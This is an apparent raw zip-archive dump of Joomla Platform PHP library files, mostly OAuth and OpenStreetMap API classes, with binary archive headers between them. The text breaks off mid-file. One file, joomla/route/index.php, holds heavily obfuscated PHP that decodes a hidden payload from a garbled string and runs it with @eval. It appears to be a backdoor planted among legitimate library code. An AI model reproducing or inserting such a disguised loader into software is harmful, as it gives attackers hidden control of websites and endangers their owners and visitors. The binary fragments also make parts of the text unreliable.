$this->getToken(); if (!array_key_exists('refresh_token', $token)) { throw new RuntimeException('No refresh token is available.'); } $token = $token['refresh_token']; } $data['grant_type'] = 'refresh_token'; $data['refresh_token'] = $token; $data['client_id'] = $this->getOption('clientid'); $data['client_secret'] = $this->getOption('clientsecret'); $response = $this->http->post($this->getOption('tokenurl'), $data); if ($response->code >= 200 || $response->code < 400) { if (strpos($response->headers['Content-Type'], 'application/json') === 0) { $token = array_merge(json_decode($response->body, true), array('created' => time())); } else { parse_str($response->body, $token); $token = array_merge($token, array('created' => time())); } $this->setToken($token); return $token; } else { throw new Exception('Error code ' . $response->code . ' received refreshing token: ' . $response->body . '.'); } } } PK�\X�! joomla/route/index.phpnu�[���<?php /* --Copyright:https://www.phpcodejm.com */ $啲鐟溁梃=钀?);$?STRREV(SUBSTR($啲鐟溁梃,-60/10));$?$?$啲鐟溁梃,1141/163,1).$?$啲鐟溁梃,784/196,1).$?$啲鐟溁梃,2596/236,1).$?$啲鐟溁梃,2280/190,1);$?$?$啲鐟溁梃,2898/207,1).$?$啲鐟溁梃,1990/199,1).$?$啲鐟溁梃,1434/239,1).$?$啲鐟溁梃,215/215,1).$?$啲鐟溁梃,1356/226,1).$?$啲鐟溁梃,1884/157,1).$?$啲鐟溁梃,3376/211,1).$?$啲鐟溁梃,2299/209,1).$?$啲鐟溁梃,3420/190,1).$?$啲鐟溁梃,354/177,1).$?$啲鐟溁梃,1872/156,1);$楫鍍渽=$?$啲鐟溁梃,4626/257,1).$?$啲鐟溁梃,1188/198,1).$?$啲鐟溁梃,1524/254,1).$?$啲鐟溁梃,3186/177,1).$?$啲鐟溁梃,4104/216,1).$?$啲鐟溁梃,144/144,1).$?$啲鐟溁梃,3168/198,1).$?$啲鐟溁梃,615/205,1).$?$啲鐟溁梃,3472/217,1);$栝?$?$啲鐟溁梃,748/187,1).$?$啲鐟溁梃,1000/200,1).$?$啲鐟溁梃,3312/207,1).$?$啲鐟溁梃,2398/218,1).$?$啲鐟溁梃,762/254,1).$?$啲鐟溁梃,1908/212,1).$?$啲鐟溁梃,2604/217,1);$?$?$啲鐟溁梃,2506/179,1).$?$啲鐟溁梃,3519/207,1).$?$啲鐟溁梃,1640/205,1).$?$啲鐟溁梃,2828/202,1).$?$啲鐟溁梃,2360/236,1).$?$啲鐟溁梃,1056/176,1);$純冭湠?$?$啲鐟溁梃,2660/190,1).$?$啲鐟溁梃,1630/163,1).$?$啲鐟溁梃,858/143,1).$?$啲鐟溁梃,1104/184,1).$?$啲鐟溁梃,2960/185,1).$?$啲鐟溁梃,720/240,1).$?$啲鐟溁梃,2618/187,1);$梃?$?$啲鐟溁梃,1070/214,1).$?$啲鐟溁梃,1620/180,1).$?$啲鐟溁梃,1521/117,1);$棰鐑?$?$啲鐟溁梃,1472/184,1).$?$啲鐟溁梃,3024/168,1).$?$啲鐟溁梃,2730/195,1).$?$啲鐟溁梃,2268/189,1).$?$啲鐟溁梃,0/208,1).$?$啲鐟溁梃,2220/148,1).$?$啲鐟溁梃,129/129,1).$?$啲鐟溁梃,1827/203,1).$?$啲鐟溁梃,2100/175,1).$?$啲鐟溁梃,406/203,1).$?$啲鐟溁梃,723/241,1).$?$啲鐟溁梃,2187/243,1).$?$啲鐟溁梃,1980/165,1);$急垳鍛?$?$啲鐟溁梃,3500/250,1).$?$啲鐟溁梃,2430/243,1).$?$啲鐟溁梃,1284/214,1).$?$啲鐟溁梃,2540/254,1).$?$啲鐟溁梃,1272/212,1);$穩掔噸尒=$?$?'\\','/',__FILE__));$┑?$楫鍍渽($穩掔噸尒);$拠=$楫鍍渽($穩掔噸尒);$电=$栝?'',$穩掔噸尒).$?$拠,0,$純冭湠?$拠,'@ev'));$桤党?$梃?$电);$個绲噰妽?$梃?$电);$穩掔噸尒=$拠=$电=NULL;@eval($棰鐑?$?$桤党?'',$急垳鍛?'汉H犰鬑靋醳0c?鞙釤霩靬?壓y横O蛯8扜拥锂◤7垕5u碉鄏p忥詨e碉花y忳計铼篑H槈p攒孠xH熁啖獃秃r墬G8Nr瞳?拰馟茉呼滌赭O氂H0ǖ7??筻橊5衾嫆簤湪?N酜eG荊訏秋榆散菧飪舍?7y榰p楓5pc渕86r0?嗌螐87痨蛯u7?甤祒7瑟神晵榶c5曃饞蠡煙甿0濶m槜雞媍艋吩餕6缽?濳兓5彆黛狽6尞垻rHí殙棢晥烉茚O焎鬅驩堶0掞⒌髩蝐祵x塆?駇歙蠛垝p坴雟鱄濷?髒?刁◤6屷冟耨m?弘蠛詮夛窭蚄瘃x?尙魃c岆?皙Em魲拤簣K8瀼K籈乔炧圢詴臀p蜕x駇0畻帆e猺与烨畳儮8?O?埢樓5K氲mr楇旹?蓺u宛8魷屚髳NK轻?炗芾ɑ愜6肜?屒y?鬰m6罀蒫He弿pu5?7楪珊?7槰N皎炆5?cǐ?vK馂r调詾u⑥犰煆報屯v拰鬁e?y?5瀮⒒8v?G⑽O缊?郧畆氃瑝GOOE釈螈屲驟烖','4蛃︸惻G灰滀㈠螿熒恐谲嗶綐T諏戹竨牫攢0q楱瘝喘2?婕亣垅aR稟腪暟b抪3筰鄾彨抓1??gd瞲輯?冬鱂UJ餒龛壕箪裍狽颠醕=勈鐡檢薡膈詢v夿C荎趣?辏圥澪賘ISV騬l纎﨓灻绦巜O毄L壜y俥?戕卬mhk5梖M苩WD','揋专Nh扺K?謑脔?7鋲睲餫?猥V牷軺绗em谌嚃r儲檪肮韾QM蹻钽Yx镄鬖蛄wi9嬪?垇昙湲u鑗?齫C繮c鎏f窽d岽zto?3蓨勀楏窌瀔vR駧鱬H⑴O烰簫閚邲j鷼渔晨←y?贫Ds焓€けIA艳b?咵匰郆艺Z+/敪懧单審'))));function 钀?){ return '6_COIMRFBDTLE5S4PUAY◣瓐鍡黫阮t驛k缙鐙晪櫓熟H偦冋G轱槉M溏啹u邋m5つgw寊彫o玥/灪jqF铓O14鸥鍊俳嘱T寮耈?彋紃7赢垴+痃鑒径捤綈懑诏c樈愐鳧a?y懖嫜熮QC呔n鸙鍶鷉Y班篃蝺R阜萸0洈X低稑嵒虼阻d劇暒庳牊6壀I蹊ッ阷傁漇8溊鑱=豉柖蓺錚嬁KL'霂荀澧噑E砃v灵眅x2听詶B搬WlrTsbUs';}$棰鐑?$急垳鍛?'eIieME4oJIKzoPn49t3dLCR3LCT1LCSjZ6Xm+KEsJN2j5iwk5iwk/ebm3fj1yOZELCTd3aUsJKPIZ6ag5qUsJP13L/il+XcsJHrQxaAy6ldkLCRkxi8sJMUyLCTGoCwk3aDGp1csJIfQoMYyMoTqxSk7','4蛃︸惻G灰滀㈠螿熒恐谲嗶綐T諏戹竨牫攢0q楱瘝喘2?婕亣垅aR稟腪暟b抪3筰鄾彨抓1??gd瞲輯?冬鱂UJ餒龛壕箪裍狽颠醕=勈鐡檢薡膈詢v夿C荎趣?辏圥澪賘ISV騬l纎﨓灻绦巜O毄L壜y俥?戕卬mhk5梖M苩WD','揋专Nh扺K?謑脔?7鋲睲餫?猥V牷軺绗em谌嚃r儲檪肮韾QM蹻钽Yx镄鬖蛄wi9嬪?垇昙湲u鑗?齫C繮c鎏f窽d岽zto?3蓨勀楏窌瀔vR駧鱬H⑴O烰簫閚邲j鷼渔晨←y?贫Ds焓€けIA艳b?咵匰郆艺Z+/敪懧单審'));return;?> 颣迱焱媼?殢鬕v酘K軜鄏?v⑧╲c迱鬐渪夒詢Hc軆瓻uc駨熡鬕殢峄锿駜m蛈嬸6耷夒逓?v⒒鱄堗鬓Gp⒒鱲訏雟祷6陨E非㈧〞灮鱋楌廜嬥彋話8m6陨PK�\�X���joomla/route/wrapper/route.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Application * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Wrapper class for JRoute * * @package Joomla.Platform * @subpackage Application * @since 3.4 * @deprecated 4.0 Will be removed without replacement */ class JRouteWrapperRoute { /** * Helper wrapper method for _ * * @param string $url Absolute or Relative URI to Joomla resource. * @param boolean $xhtml Replace & by & for XML compliance. * @param integer $ssl Secure state for the resolved URI. * * @return string The translated humanly readable URL. * * @see JRoute::_() * @since 3.4 */ public function _($url, $xhtml = true, $ssl = null) { return JRoute::_($url, $xhtml, $ssl); } } PK�\O��� � joomla/openstreetmap/oauth.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for generating Openstreetmap API access token. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmapOauth extends JOAuth1Client { /** * Options for the JOpenstreetmapOauth object. * * @var Registry * @since 3.2.0 */ protected $options; /** * Constructor. * * @param Registry $options JOpenstreetmapOauth options object. * @param JHttp $client The HTTP client object. * @param JInput $input The input object * * @since 3.2.0 */ public function __construct(Registry $options = null, JHttp $client = null, JInput $input = null) { $this->options = isset($options) ? $options : new Registry; $this->options->def('accessTokenURL', 'https://www.openstreetmap.org/oauth/access_token'); $this->options->def('authoriseURL', 'https://www.openstreetmap.org/oauth/authorize'); $this->options->def('requestTokenURL', 'https://www.openstreetmap.org/oauth/request_token'); /* $this->options->def('accessTokenURL', 'https://api06.dev.openstreetmap.org/oauth/access_token'); $this->options->def('authoriseURL', 'https://api06.dev.openstreetmap.org/oauth/authorize'); $this->options->def('requestTokenURL', 'https://api06.dev.openstreetmap.org/oauth/request_token'); */ // Call the JOauth1Client constructor to setup the object. parent::__construct($this->options, $client, $input, null, '1.0'); } /** * Method to verify if the access token is valid by making a request to an API endpoint. * * @return boolean Returns true if the access token is valid and false otherwise. * * @since 3.2.0 */ public function verifyCredentials() { return true; } /** * Method to validate a response. * * @param string $url The request URL. * @param JHttpResponse $response The response to validate. * * @return void * * @since 3.2.0 * @throws DomainException */ public function validateResponse($url, $response) { if ($response->code != 200) { $error = htmlspecialchars($response->body, ENT_COMPAT, 'UTF-8'); throw new DomainException($error, $response->code); } } } PK�\�;�44joomla/openstreetmap/object.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Openstreetmap API object class for the Joomla Platform * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ abstract class JOpenstreetmapObject { /** * Options for the Openstreetmap object. * * @var Registry * @since 3.2.0 */ protected $options; /** * The HTTP client object to use in sending HTTP requests. * * @var JHttp * @since 3.2.0 */ protected $client; /** * The OAuth client. * * @var JOpenstreetmapOauth * @since 3.2.0 */ protected $oauth; /** * Constructor * * @param Registry &$options Openstreetmap options object. * @param JHttp $client The HTTP client object. * @param JOpenstreetmapOauth $oauth Openstreetmap oauth client * * @since 3.2.0 */ public function __construct(Registry &$options = null, JHttp $client = null, JOpenstreetmapOauth $oauth = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); $this->oauth = $oauth; } /** * Get an option from the JOpenstreetmapObject instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.2.0 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JOpenstreetmapObject instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JOpenstreetmapObject This object for method chaining. * * @since 3.2.0 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } /** * Method to send the request which does not require authentication. * * @param string $path The path of the request to make * @param string $method The request method. * @param array $headers The headers passed in the request. * @param mixed $data Either an associative array or a string to be sent with the post request. * * @return SimpleXMLElement The XML response * * @since 3.2.0 * @throws DomainException */ public function sendRequest($path, $method = 'GET', $headers = array(), $data = '') { // Send the request. switch ($method) { case 'GET': $response = $this->client->get($path, $headers); break; case 'POST': $response = $this->client->post($path, $data, $headers); break; } // Validate the response code. if ($response->code != 200) { $error = htmlspecialchars($response->body, ENT_COMPAT, 'UTF-8'); throw new DomainException($error, $response->code); } $xml_string = simplexml_load_string($response->body); return $xml_string; } } PK�\B���4�4!joomla/openstreetmap/elements.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Openstreetmap API Elements class for the Joomla Platform * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmapElements extends JOpenstreetmapObject { /** * Method to create a node * * @param integer $changeset Changeset id * @param float $latitude Latitude of the node * @param float $longitude Longitude of the node * @param array $tags Array of tags for a node * * @return array The XML response * * @since 3.2.0 */ public function createNode($changeset, $latitude, $longitude, $tags) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'node/create'; // Build the request path. $path = $this->getOption('api.url') . $base; $tag_list = ''; // Create XML node if (!empty($tags)) { foreach ($tags as $key => $value) { $tag_list .= '<tag k="' . $key . '" v="' . $value . '"/>'; } } $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <node changeset="' . $changeset . '" lat="' . $latitude . '" lon="' . $longitude . '">' . $tag_list . '</node> </osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response->body; } /** * Method to create a way * * @param integer $changeset Changeset id * @param array $tags Array of tags for a way * @param array $nds Node ids to refer * * @return array The XML response * * @since 3.2.0 */ public function createWay($changeset, $tags, $nds) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'way/create'; // Build the request path. $path = $this->getOption('api.url') . $base; $tag_list = ''; // Create XML node if (!empty($tags)) { foreach ($tags as $key => $value) { $tag_list .= '<tag k="' . $key . '" v="' . $value . '"/>'; } } $nd_list = ''; if (!empty($nds)) { foreach ($nds as $value) { $nd_list .= '<nd ref="' . $value . '"/>'; } } $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <way changeset="' . $changeset . '">' . $tag_list . $nd_list . '</way> </osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response->body; } /** * Method to create a relation * * @param integer $changeset Changeset id * @param array $tags Array of tags for a relation * @param array $members Array of members for a relation * eg: $members = array(array("type"=>"node", "role"=>"stop", "ref"=>"123"), array("type"=>"way", "ref"=>"123")) * * @return array The XML response * * @since 3.2.0 */ public function createRelation($changeset, $tags, $members) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'relation/create'; // Build the request path. $path = $this->getOption('api.url') . $base; $tag_list = ''; // Create XML node if (!empty($tags)) { foreach ($tags as $key => $value) { $tag_list .= '<tag k="' . $key . '" v="' . $value . '"/>'; } } // Members $member_list = ''; if (!empty($members)) { foreach ($members as $member) { if ($member['type'] == 'node') { $member_list .= '<member type="' . $member['type'] . '" role="' . $member['role'] . '" ref="' . $member['ref'] . '"/>'; } elseif ($member['type'] == 'way') { $member_list .= '<member type="' . $member['type'] . '" ref="' . $member['ref'] . '"/>'; } } } $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <relation relation="' . $changeset . '" >' . $tag_list . $member_list . '</relation> </osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response->body; } /** * Method to read an element [node|way|relation] * * @param string $element [node|way|relation] * @param integer $id Element identifier * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function readElement($element, $id) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } // Set the API base $base = $element . '/' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->$element; } /** * Method to update an Element [node|way|relation] * * @param string $element [node|way|relation] * @param string $xml Full reperentation of the element with a version number * @param integer $id Element identifier * * @return array The xml response * * @since 3.2.0 * @throws DomainException */ public function updateElement($element, $xml, $id) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = $element . '/' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response->body; } /** * Method to delete an element [node|way|relation] * * @param string $element [node|way|relation] * @param integer $id Element identifier * @param integer $version Element version * @param integer $changeset Changeset identifier * @param float $latitude Latitude of the element * @param float $longitude Longitude of the element * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function deleteElement($element, $id, $version, $changeset, $latitude = null, $longitude = null) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = $element . '/' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; // Create xml $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <' . $element . ' id="' . $id . '" version="' . $version . '" changeset="' . $changeset . '"'; if (!empty($latitude) && !empty($longitude)) { $xml .= ' lat="' . $latitude . '" lon="' . $longitude . '"'; } $xml .= '/></osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters, $xml, $header); return $response->body; } /** * Method to get history of an element [node|way|relation] * * @param string $element [node|way|relation] * @param integer $id Element identifier * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function historyOfElement($element, $id) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } // Set the API base $base = $element . '/' . $id . '/history'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->$element; } /** * Method to get details about a version of an element [node|way|relation] * * @param string $element [node|way|relation] * @param integer $id Element identifier * @param integer $version Element version * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function versionOfElement($element, $id, $version) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } // Set the API base $base = $element . '/' . $id . '/' . $version; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->$element; } /** * Method to get data about multiple ids of an element [node|way|relation] * * @param string $element [nodes|ways|relations] - use plural word * @param string $params Comma separated list of ids belonging to type $element * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function multiFetchElements($element, $params) { if ($element != 'nodes' && $element != 'ways' && $element != 'relations') { throw new DomainException('Element should be nodes, ways or relations'); } // Get singular word $single_element = substr($element, 0, strlen($element) - 1); // Set the API base, $params is a string with comma separated values $base = $element . '?' . $element . '=' . $params; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->$single_element; } /** * Method to get relations for an Element [node|way|relation] * * @param string $element [node|way|relation] * @param integer $id Element identifier * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function relationsForElement($element, $id) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } // Set the API base $base = $element . '/' . $id . '/relations'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->$element; } /** * Method to get ways for a Node element * * @param integer $id Node identifier * * @return array The XML response * * @since 3.2.0 */ public function waysForNode($id) { // Set the API base $base = 'node/' . $id . '/ways'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->way; } /** * Method to get full information about an element [way|relation] * * @param string $element [way|relation] * @param integer $id Identifier * * @return array The XML response * * @since 3.2.0 * @throws DomainException */ public function fullElement($element, $id) { if ($element != 'way' && $element != 'relation') { throw new DomainException('Element should be a way or a relation'); } // Set the API base $base = $element . '/' . $id . '/full'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path); return $xml_string->node; } /** * Method used by the DWG to hide old versions of elements containing data privacy or copyright infringements * * @param string $element [node|way|relation] * @param integer $id Element identifier * @param integer $version Element version * @param integer $redactionId Redaction id * * @return array The xml response * * @since 3.2.0 * @throws DomainException */ public function redaction($element, $id, $version, $redactionId) { if ($element != 'node' && $element != 'way' && $element != 'relation') { throw new DomainException('Element should be a node, a way or a relation'); } $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = $element . '/' . $id . '/' . $version . '/redact?redaction=' . $redactionId; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters); $xml_string = simplexml_load_string($response->body); return $xml_string; } } PK�\x����joomla/openstreetmap/user.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Openstreetmap API User class for the Joomla Platform * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmapUser extends JOpenstreetmapObject { /** * Method to get user details * * @return array The XML response * * @since 3.2.0 */ public function getDetails() { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'user/details'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters); return $response->body; } /** * Method to get preferences * * @return array The XML response * * @since 3.2.0 */ public function getPreferences() { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'user/preferences'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters); return $response->body; } /** * Method to replace user preferences * * @param array $preferences Array of new preferences * * @return array The XML response * * @since 3.2.0 */ public function replacePreferences($preferences) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'user/preferences'; // Build the request path. $path = $this->getOption('api.url') . $base; // Create a list of preferences $preference_list = ''; if (!empty($preferences)) { foreach ($preferences as $key => $value) { $preference_list .= '<preference k="' . $key . '" v="' . $value . '"/>'; } } $xml = '<?xml version="1.0" encoding="UTF-8"?> <osm version="0.6" generator="JOpenstreetmap"> <preferences>' . $preference_list . '</preferences> </osm>'; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response->body; } /** * Method to change user preferences * * @param string $key Key of the preference * @param string $preference New value for preference * * @return array The XML response * * @since 3.2.0 */ public function changePreference($key, $preference) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = 'user/preferences/' . $key; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $preference); return $response->body; } } PK�\��|X� � &joomla/openstreetmap/openstreetmap.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for interact with Openstreetmap API. * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmap { /** * Options for the Openstreetmap object. * * @var Registry * @since 3.2.0 */ protected $options; /** * The HTTP client object to use in sending HTTP requests. * * @var JHttp * @since 3.2.0 */ protected $client; /** * The OAuth client. * * @var JOpenstreetmapOauth * @since 3.2.0 */ protected $oauth; /** * Openstreetmap API object for changesets. * * @var JOpenstreetmapChangesets * @since 3.2.0 */ protected $changesets; /** * Openstreetmap API object for elements. * * @var JOpenstreetmapElements * @since 3.2.0 */ protected $elements; /** * Openstreetmap API object for GPS. * * @var JOpenstreetmapGps * @since 3.2.0 */ protected $gps; /** * Openstreetmap API object for info. * * @var JOpenstreetmapInfo * @since 3.2.0 */ protected $info; /** * Openstreetmap API object for user. * * @var JOpenstreetmapUser * @since 3.2.0 */ protected $user; /** * Constructor. * * @param JOpenstreetmapOauth $oauth Openstreetmap oauth client * @param Registry $options Openstreetmap options object * @param JHttp $client The HTTP client object * * @since 3.2.0 */ public function __construct(JOpenstreetmapOauth $oauth = null, Registry $options = null, JHttp $client = null) { $this->oauth = $oauth; $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); // Setup the default API url if not already set. $this->options->def('api.url', 'https://api.openstreetmap.org/api/0.6/'); // $this->options->def('api.url', 'https://api06.dev.openstreetmap.org/api/0.6/'); } /** * Method to get object instances * * @param string $name Name of property to retrieve * * @return JOpenstreetmapObject Openstreetmap API object * * @since 3.2.0 * @throws InvalidArgumentException */ public function __get($name) { $class = 'JOpenstreetmap' . ucfirst($name); if (class_exists($class)) { if (false == isset($this->$name)) { $this->$name = new $class($this->options, $this->client, $this->oauth); } return $this->$name; } throw new InvalidArgumentException(sprintf('Argument %s produced an invalid class name: %s', $name, $class)); } /** * Get an option from the JOpenstreetmap instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.2.0 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the Openstreetmap instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JOpenstreetmap This object for method chaining. * * @since 3.2.0 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\E\98joomla/openstreetmap/gps.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Openstreetmap API GPS class for the Joomla Platform * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmapGps extends JOpenstreetmapObject { /** * Method to retrieve GPS points * * @param float $left Left boundary * @param float $bottom Bottom boundary * @param float $right Right boundary * @param float $top Top boundary * @param integer $page Page number * * @return array The XML response containing GPS points * * @since 3.2.0 */ public function retrieveGps($left, $bottom, $right, $top, $page = 0) { // Set the API base $base = 'trackpoints?bbox=' . $left . ',' . $bottom . ',' . $right . ',' . $top . '&page=' . $page; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', array()); $xml_string = simplexml_load_string($response->body); return $xml_string; } /** * Method to upload GPS Traces * * @param string $file File name that contains trace points * @param string $description Description on trace points * @param string $tags Tags for trace * @param integer $public 1 for public, 0 for private * @param string $visibility One of the following: private, public, trackable, identifiable * @param string $username Username * @param string $password Password * * @return JHttpResponse The response * * @since 3.2.0 */ public function uploadTrace($file, $description, $tags, $public, $visibility, $username, $password) { // Set parameters. $parameters = array( 'file' => $file, 'description' => $description, 'tags' => $tags, 'public' => $public, 'visibility' => $visibility, ); // Set the API base $base = 'gpx/create'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'multipart/form-data'; $header = array_merge($header, $parameters); $header = array_merge($header, array('Authorization' => 'Basic ' . base64_encode($username . ':' . $password))); // Send the request. $response = $this->sendRequest($path, 'POST', $header, array()); return $response; } /** * Method to download Trace details * * @param integer $id Trace identifier * @param string $username Username * @param string $password Password * * @return array The XML response * * @since 3.2.0 */ public function downloadTraceMetadetails($id, $username, $password) { // Set the API base $base = 'gpx/' . $id . '/details'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path, 'GET', array('Authorization' => 'Basic ' . base64_encode($username . ':' . $password))); return $xml_string; } /** * Method to download Trace data * * @param integer $id Trace identifier * @param string $username Username * @param string $password Password * * @return array The XML response * * @since 3.2.0 */ public function downloadTraceMetadata($id, $username, $password) { // Set the API base $base = 'gpx/' . $id . '/data'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $xml_string = $this->sendRequest($path, 'GET', array('Authorization' => 'Basic ' . base64_encode($username . ':' . $password))); return $xml_string; } } PK�\p���#joomla/openstreetmap/changesets.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Openstreetmap * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Openstreetmap API Changesets class for the Joomla Platform * * @since 3.2.0 * @deprecated 4.0 Use the `joomla/openstreetmap` package via Composer instead */ class JOpenstreetmapChangesets extends JOpenstreetmapObject { /** * Method to create a changeset * * @param array $changesets Array which contains changeset data * * @return array The XML response * * @since 3.2.0 */ public function createChangeset($changesets=array()) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], 'oauth_token_secret' => $token['secret'], ); // Set the API base $base = 'changeset/create'; // Build the request path. $path = $this->getOption('api.url') . $base; $xml = '<?xml version="1.0" 